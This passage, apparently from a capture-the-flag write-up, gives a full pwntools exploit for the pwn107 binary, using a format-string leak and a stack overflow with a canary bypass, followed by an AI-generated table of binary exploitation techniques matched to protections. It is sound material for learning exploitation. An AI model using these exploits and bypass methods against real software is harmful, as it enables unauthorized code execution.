The resulting base then allows pwntools to automatically recalculate the symbol addresses:

get_streak = elf.sym.get_streak

It's exactly the same way to calculate the libc base :

leaked address - offset within PIE = PIE base

PIE base + get_streak offset = actual address of get_streak

Get the padding

Before constructing the final payload, you need to know the distance between the start of the buffer and the canary, and then between the canary and the return address.

Based on the disassembly:

lea rax,[rbp-0x20]

the buffer starts at:

rbp - 0x20

The canary is at:

rbp - 0x8

There are therefore 24 bytes (0x20 - 0x8 = 0x18 = 24) between the start of the buffer and the canary.

Then, the canary occupies 8 bytes. The saved RBP then occupies 8 bytes.

The return address (rip) is located at:

rbp + 0x8

The stack layout is therefore:

buffer       : 24 bytes
canary       :  8 bytes
saved RBP    :  8 bytes
saved RIP    :  8 bytes

Final exploit with ret2win

from pwn import *

context.binary = elf = ELF(
    './pwn107-1644307530397.pwn107',
    checksec=False
)
context.log_level = 'info'
p = remote('10.67.170.242', 9007)


# First vuln : format string to leak the canary + PIE base address
p.sendlineafter(
    b"streak? ",
    b"%17$p.%4$p"
)

p.recvuntil(b"streak: ")

leaks = p.recvline().strip().split(b".")

pie_leak = int(leaks[0], 16)
canary = int(leaks[1], 16)
elf.address = pie_leak - 0x0a2a
get_streak = elf.sym.get_streak

log.success(
    f"PIE leak = {hex(pie_leak)}"
)
log.success(
    f"canary   = {hex(canary)}"
)
log.success(
    f"PIE base = {hex(elf.address)}"
)
log.success(
    f"get_streak = {hex(get_streak)}"
)

# Stack alignment gadget
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]

log.success(
    f"ret = {hex(ret)}"
)

# Second vuln : stack buffer overflow
payload = (
    b"A" * 24
    + p64(canary)
    + b"B" * 8
    + p64(ret)
    + p64(get_streak)
)

p.sendlineafter(
    b"notification pops up]\n\n",
    payload
)

p.interactive()

AI generated summary table for exploitation

Given the number of possible combinations of vulnerabilities, the exploit primitives they enable, the protections, and the most direct (and stable) exploit for each situation, I asked the AI ​​to generate a summary table that seems quite comprehensive :

Protections Primitive (associated vulns) Situation Exploit choice Exploit description
None Write to the stack (stack buffer overflow) Executable stack, fixed addresses ret2shellcode You write your shellcode into the buffer, then overwrite the return address with the address of that buffer (fixed, no ASLR). A NOP-sled absorbs the imprecision. On ret, the CPU jumps to your code and runs it.
NX Write to the stack (stack buffer overflow) Non-executable stack, but fixed addresses (no PIE, libc at a known offset) ret2libc NX forbids executing the stack, so you reuse existing code. You overwrite the return address with system's and prepare its "/bin/sh" argument. On x86-64 you first go through a pop rdi ; ret gadget to put "/bin/sh" into rdi. No leak needed: everything is hardcoded.
NX + ASLR Write to the stack (stack buffer overflow) Fixed binary (no PIE) but randomized libc ret2plt then ret2libc The libc moves, so you must locate it. Stage 1: ROP puts(GOT[puts]) via the PLT (fixed) to leak the real address of puts, giving base_libc = leak - offset(puts). You return to main (ret2main) to re-trigger the overflow, then stage 2 system("/bin/sh") with the recomputed addresses.
NX + ASLR + PIE Write to the stack (stack buffer overflow) Binary is ALSO randomized, PLT/GOT unknown Leak PIE base + leak libc, then ret2libc Two unknowns. You first leak a binary address (saved return, leftover pointer) to compute the PIE base and recover PLT/GOT, then apply the same scheme as the previous row to leak libc and finish with ret2libc.
NX + ASLR + PIE + Full RELRO Write to the stack (stack buffer overflow) GOT is read-only ret2libc via the stack Full RELRO only locks the GOT against writes; it does not hinder a ret2libc, which overwrites the return address on the stack. You proceed exactly like the previous row (leaks + ROP).
NX + ASLR + PIE + Full RELRO + Canary Write to the stack (stack buffer overflow) Realistic hardened case: canary between buffer and return address Triple leak (canary + PIE + libc) then ret2libc A sequential overflow destroys the canary → abort before ret. You must first leak it (OOB read, format string) to rewrite it intact, plus leak PIE and libc bases. Once all three are known: ROP pop rdi ; "/bin/sh" ; system.
NX + ASLR Write to the stack, but very few bytes (limited stack buffer overflow) No room for a full ROP chain Stack pivot You overwrite just enough to redirect rsp to a region you fully control (another known buffer, .bss) via a leave ; ret or pop rsp ; ret gadget. Once rsp sits on your large chain, you unroll the full ROP (leak + ret2libc).
NX + ASLR, few gadgets Write to the stack, control of 3 args required (stack buffer overflow) Small/static binary, no simple pop rdi/rsi/rdx ret2csu __libc_csu_init offers a pop rbx/rbp/r12..r15 ; ret sequence + a call [r12+rbx*8]: a universal gadget to load rdi/rsi/rdx and make an indirect call. (Gone from recent glibc → replace with another universal gadget.)
NX + ASLR, no leak available Write to the stack (stack buffer overflow), non-PIE binary Impossible to leak the libc ret2dlresolve You forge fake relocation structures (Elf_Sym, etc.) in a writable region, then call the dynamic resolver asking for system. The linker resolves it and calls it for you, without ever needing a libc leak.
NX + ASLR, Partial RELRO Write anything to any address (write-what-where: format string %n, tcache poisoning, UAF, arbitrary write) GOT is writable, a target function is about to be called GOT overwrite You overwrite a GOT entry (e.g. free, printf) with the address of system or a one_gadget. On the next call, system runs with the argument the target was passing (e.g. free(ptr) where ptr = a controlled "/bin/sh"). Requires a libc leak for the value to write.
NX + ASLR + Full RELRO Write anything to any address (write-what-where: format string %n, tcache poisoning, UAF) GOT is read-only → GOT overwrite impossible Hook overwrite / FSOP / __exit_funcs Old glibc (< 2.34): you write system/one_gadget into __free_hook, then trigger free("/bin/sh"). Recent glibc (hooks removed): FSOP, you corrupt an _IO_FILE structure / its vtable to hijack an fflush/exit, or target __exit_funcs/tls_dtor_list. Full RELRO protects none of these targets.
NX + ASLR, Partial RELRO Read AND write anything to any address (format string) You control the format string of printf(user) Format string: leak via %p/%s then GOT overwrite via %n A format string gives both arbitrary read and write. You first leak canary/libc/stack with %p/%s, then write with %n (writes the number of bytes printed to the pointed address) into GOT[printf] to place system/one_gadget.
NX + ASLR + Full RELRO Read AND write anything to any address (format string) GOT read-only, but arbitrary R/W preserved Format string %n to the return address GOT closed → you target the stack: you leak a stack address, locate a saved return address, then rewrite it with %n to place a one_gadget or bootstrap a mini-ROP. Alternative: __exit_funcs/FSOP.
NX + ASLR (+ Full RELRO) Write to the heap (heap overflow, UAF) Allocator corruption, no direct stack/GOT access tcache poisoning → write-what-where You corrupt the next pointer of a freed tcache chunk to point the freelist at a target address; the next malloc returns an arbitrary chunk → you obtain an arbitrary write, which you convert to __free_hook/FSOP (see the Full RELRO row). glibc ≥ 2.32: defeating safe-linking (XOR addr >> 12) requires a heap leak.
NX + ASLR Read anything at any address, no write (OOB read, format string %p/%s) You can read out of bounds but write nothing Leak building block (to combine) On its own, a leak grants no execution: it serves to defeat ASLR/PIE/canary by reading the GOT (libc address), a stack address, or the canary. It is the "leak" stage of the ret2plt/triple-leak rows. You need a write primitive alongside it to turn it into execution.
NX + ASLR, static binary Write to the stack (stack buffer overflow) → ROP possible because the binary is packed with gadgets and already contains the syscall code No linked libc, so no system/libc PLT ROP syscall execve (args via ret2csu) or SROP A static binary embeds a huge number of gadgets: that is what makes ROP possible here. You load rax=59, rdi=addr("/bin/sh"), rsi=0, rdx=0 then syscall. The "/bin/sh" string is written beforehand into .bss via a write gadget. SROP is the compact alternative if gadgets are scarce but a syscall ; ret exists.
NX + ASLR + seccomp Write to the stack (stack buffer overflow) → ROP possible: the overflow gives you control of the flow, only execve is blocked, not ROP Sandbox forbids execve → no direct shell "ORW" ROP chain (open/read/write) ROP works normally (the overflow makes you master of the stack); only the shell is forbidden. So you read the target file directly: open("flag")read(fd, buf, n)write(1, buf, n). First check the seccomp (seccomp-tools dump) for the syscalls still allowed (sometimes openat/sendfile).
NX + ASLR + CET / Shadow Stack Write to the stack (stack buffer overflow) The shadow stack verifies every ret → classic ROP detected JOP / COP, or SROP Forged rets are caught, so you switch to gadgets ending in jmp reg (JOP) or call reg (COP), chained via a dispatcher. SROP alternative: forge a sigreturn frame to restore all registers at once and call execve, if a sigreturn gadget is reachable.
NX + ASLR + PIE, no leak Write to the stack, only the low bytes reachable (stack buffer overflow, partial overwrite) You can only overwrite a saved pointer's low bytes, and no leak is available Partial pointer overwrite ASLR/PIE only randomizes the high bits; the low 12 bits (one page) stay fixed. By overwriting only the last 1–2 bytes of a saved return address or a code pointer, you redirect it to a nearby gadget/function within the same page without knowing the full base — bypassing ASLR with no leak. Some brute force over the few uncertain bits may be needed.
NX + ASLR (Partial RELRO) Overwrite an indirect call target (C++ vtable hijack, UAF on an object, function pointer overwrite) The program calls through a pointer/vtable you can corrupt Function-pointer / vtable hijack Instead of the return address, you corrupt a called-through pointer: a C++ object's vtable pointer (after a UAF that reallocates the freed object with your data), or a stored callback. You point it at a fake vtable/gadget so the next indirect call lands where you want (one_gadget, or a ROP pivot). Bypasses stack canaries entirely, since it never touches the return address.